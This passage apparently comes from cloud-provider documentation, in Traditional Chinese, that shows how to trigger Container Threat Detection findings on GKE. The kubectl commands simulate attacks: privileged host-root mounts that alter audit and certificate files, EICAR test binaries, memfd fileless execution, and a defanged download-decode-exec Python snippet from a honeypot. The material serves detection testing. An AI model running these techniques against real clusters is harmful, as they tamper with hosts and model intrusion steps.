tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
這項測試程序會建立發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。Defense Evasion: Base64 Encoded Python Script Executed只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
規避防禦機制:執行 Base64 編碼的殼層指令碼
如要觸發 Defense Evasion: Base64 Encoded Shell Script Executed 發現項目,程序必須有 echo 或 base64 做為引數,以及 IyEvYmluL2Jhc2gK 做為引數,這是 #!/bin/bash 的 Base64 編碼形式。本範例使用最新版 Ubuntu 24.04 映像檔。然後使用 IyEvYmluL2Jhc2gK 引數執行 echo。
這項動作會模仿嘗試解碼二進位資料以執行惡意程式碼時的行為,因此系統會標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"ARM 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
這項測試程序會建立發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。Defense Evasion: Base64 Encoded Shell Script Executed只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
規避防護功能:停用或修改 Linux 稽核系統 (預先發布版)
如要觸發「停用或修改 Linux 稽核修改」偵測,請修改主機的稽核相關設定檔。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接到容器中,然後修改 /etc/systemd/journald.conf。
這是檔案監控偵測工具,有特定 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行二進位檔,修改主機的其中一個稽核相關設定檔,例如
/etc/systemd/journald.conf。x86 節點:
tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發 Disable or Modify Linux Audit System 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 進階或 Enterprise 方案。
規避防禦機制:在容器中啟動程式碼編譯器工具
如要觸發 Defense Evasion: Launch Code Compiler Tool In Container
(預覽) 發現項目,程式碼編譯器工具必須在容器內執行。
本範例使用最新版的 Ubuntu 24.04 映像檔。這個檔案會複製 /bin/ls,並重新命名為 gcc10 (或其他編譯器,例如 clang)。這類行為會標示為可疑,因為可能表示有人嘗試在容器中編譯及執行惡意程式碼,藉此規避偵測或修改容器行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當引數執行編譯器二進位檔,例如
gcc10:x86 節點:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"ARM 節點:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
這項測試程序會建立 Defense Evasion: Launch Code Compiler Tool
In Container 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
規避防禦機制:已安裝根憑證 (預先發布版)
如要觸發「已安裝根憑證」偵測,請在主機上從容器建立根憑證檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,並將主機的根檔案系統掛接至容器。然後在適當的目錄中建立空白憑證檔案。
這是檔案監控偵測工具,有特定 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT從容器將憑證檔案安裝到主機上。
x86 節點:
tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'這項測試程序會觸發「已安裝根憑證」發現項目,您可以在 Security Command Center 中查看該項目,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 進階或 Enterprise 方案。
執行:已執行新增的惡意二進位檔
如要觸發「已執行新增的惡意二進位檔」發現項目,請在容器中放入惡意二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、建立模擬的惡意檔案,然後執行該檔案。模擬的惡意二進位檔並非原始容器映像檔的一部分,且該二進位檔是 EICAR 測試檔案,威脅情報會將這類檔案歸類為惡意檔案,因此二進位檔的執行作業會出乎意料。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放入 EICAR 二進位檔並執行:
x86 節點:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"ARM 節點:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
這項測試程序會建立「執行作業:已執行惡意二進位檔」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要透過 Cloud Logging 查看發現項目,必須啟用 Security Command Center 進階或企業方案。
執行:已載入新增的惡意資料庫
如要觸發「已載入新增的惡意資料庫」發現項目,請在容器中新增惡意資料庫並載入。這個範例會部署最新版 Ubuntu 24.04 映像檔、建立模擬的惡意程式庫,然後使用 mmap 載入該程式庫。由於模擬的惡意程式庫並非原始容器映像檔的一部分,且該程式庫是 EICAR 測試檔案,因此威脅情報會將其歸類為惡意程式,導致程式庫載入作業發生非預期情況。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新增 EICAR 檔案並載入:
x86 節點:
tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /tmp/test_mal_lib; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib sleep 10"ARM 節點:
tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /tmp/test_mal_lib; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib sleep 10"
這項測試程序會建立「執行作業:已載入惡意程式庫」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要透過 Cloud Logging 查看發現項目,必須啟用 Security Command Center 進階或企業方案。
執行:容器跳脫
如要觸發「執行:容器跳脫」發現項目,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /bin/ls 複製到其他位置,重新命名為可疑工具 (botb-linux-amd64),然後使用其他引數執行。這項動作會模擬與容器跳脫嘗試一致的行為,因此被視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放入
botb-linux-amd64等容器漏洞利用工具二進位檔,然後執行:x86 節點:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"ARM 節點:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
這項測試程序會建立「Execution: Container Escape」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有啟用 Security Command Center Premium 或 Enterprise 方案,才能在 Cloud Logging 中查看發現項目。
執行:/memfd: 中的無檔案執行作業
如要觸發 Execution: Fileless Execution in /memfd: 發現項目,必須從 /memfd: 記憶體內檔案系統執行程序。本範例使用最新的 Python 映像檔。/bin/ls 公用程式會複製到 /memfd: 中的匿名檔案。然後執行複製的二進位檔。
系統會將 /memfd: 下的二進位檔執行作業標示為可疑,因為這類作業會模仿物件在記憶體中執行的行為,藉此規避檔案偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立具備權限的容器,並開啟 bash 來執行指令:
x86 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:latest \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"ARM 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"
這項測試程序會建立 Execution: Fileless Execution in /memfd: 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:IngressNightmare 安全漏洞執行
如要觸發執行作業:Ingress Nightmare 安全漏洞執行作業 (預覽版) 發現項目,請在容器中執行 nginx 二進位檔。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls 複製到其他位置、重新命名為 Nginx 二進位檔 (nginx),並使用參照 /proc 檔案系統的其他引數執行。這項動作會模擬與 Ingress Nightmare 漏洞攻擊 (CVE-2025-1974) 一致的行為,因此被視為可疑,可能表示有遠端程式碼執行作業。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立類似
nginx的 Nginx 二進位檔,並在存取/proc檔案系統時執行該檔案:x86 節點:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"ARM 節點:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
這項測試程序會建立「Execution: Ingress Nightmare Vulnerability」執行發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (前提是您已為 Container Threat Detection 設定記錄功能)。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目
執行:Kubernetes 攻擊工具執行作業
如要觸發「Execution: Kubernetes Attack Tool Execution」發現項目,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls 複製到其他位置、重新命名為可疑工具 (amicontained),然後執行該工具。這項動作會模擬與潛在 Kubernetes 攻擊工具執行嘗試一致的行為,因此被視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放入 Kubernetes 攻擊工具二進位檔 (例如
amicontained) 並執行:x86 節點:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"ARM 節點:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
這項測試程序會建立「Execution: Kubernetes Attack Tool Execution」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要查看 Cloud Logging 中的發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
執行作業:本機偵查工具執行作業
如要觸發 Execution: Local Reconnaissance Tool Execution 發現程序,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls 複製到其他位置、重新命名為可疑工具 (linenum.sh),然後執行該工具。因為執行重新命名的二進位檔會模擬與本機偵察嘗試一致的行為,因此這項動作會被視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入本機偵查工具二進位檔 (例如
linenum.sh),然後執行:x86 節點:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"ARM 節點:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
這項測試程序會建立「Execution: Local Reconnaissance Tool」執行作業發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:已執行惡意 Python
如要觸發「已執行惡意 Python」的發現項目,請在容器中執行下列程序。
這個程序會部署最新的 Python 映像檔、複製疑似惡意的 Python 程式碼,然後執行該程式碼。如要觸發偵測,Python 程式碼必須對偵測器而言是惡意的。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT在新容器中執行下列指令碼。
這段 Python 程式碼源自蜜罐。不過,該檔案經過修改,因此不會執行惡意二進位檔。執行指令碼不會在容器中造成惡意活動。 參照網址中的二進位檔不存在,嘗試追蹤該網址會導致 404 錯誤。這是預期行為。 系統偵測到使用內嵌指令碼嘗試下載、解碼及執行二進位檔時,就會觸發偵測機制。
x86 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"ARM 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
這項測試程序會建立「執行作業:執行惡意 Python」發現項目,如果您已為 Container Threat Detection 設定記錄功能,則可在 Security Command Center 和 Cloud Logging 中查看該項目。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
為減少雜訊,首次建立容器時,Container Threat Detection 會暫時篩除「執行:執行惡意 Python」的發現項目。如要在設定容器時查看所有「執行惡意 Python」發現項目,請在容器名稱或 Pod 名稱加上 ktd-test 前置字元,如範例所示。
執行:已執行修改過的惡意二進位檔
如要觸發「已執行修改過的惡意二進位檔」發現項目,請修改容器中的惡意二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /etc/issue 修改為 EICAR 測試惡意檔案,然後執行該檔案。由於建立的 /etc/issue 在容器執行階段遭到修改 (做為 EICAR 測試惡意二進位檔),且根據威脅情報,EICAR 二進位檔是已知的惡意檔案,因此二進位檔的執行作業會發生非預期情況。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放入 EICAR 二進位檔並執行:
x86 節點:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"ARM 節點:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
這項測試程序會建立「執行作業:已執行修改過的惡意二進位檔」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有啟用 Security Command Center Premium 或 Enterprise 方案,才能在 Cloud Logging 中查看發現項目。
執行:已載入修改過的惡意資料庫
如要觸發「已載入修改過的惡意資料庫」執行項目,請在容器中修改現有檔案,加入惡意程式庫並載入。這個範例會部署最新的 Ubuntu 24.04 映像檔、使用模擬的惡意程式庫更新 /etc/issue 檔案,然後使用 mmap 載入該檔案。由於程式庫是 EICAR 測試檔案,威脅情報會將其歸類為惡意檔案,因此系統不應載入現有檔案。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新增 EICAR 檔案並載入:
x86 節點:
tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /etc/issue; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue sleep 10"ARM 節點:
tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /etc/issue; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue sleep 10"
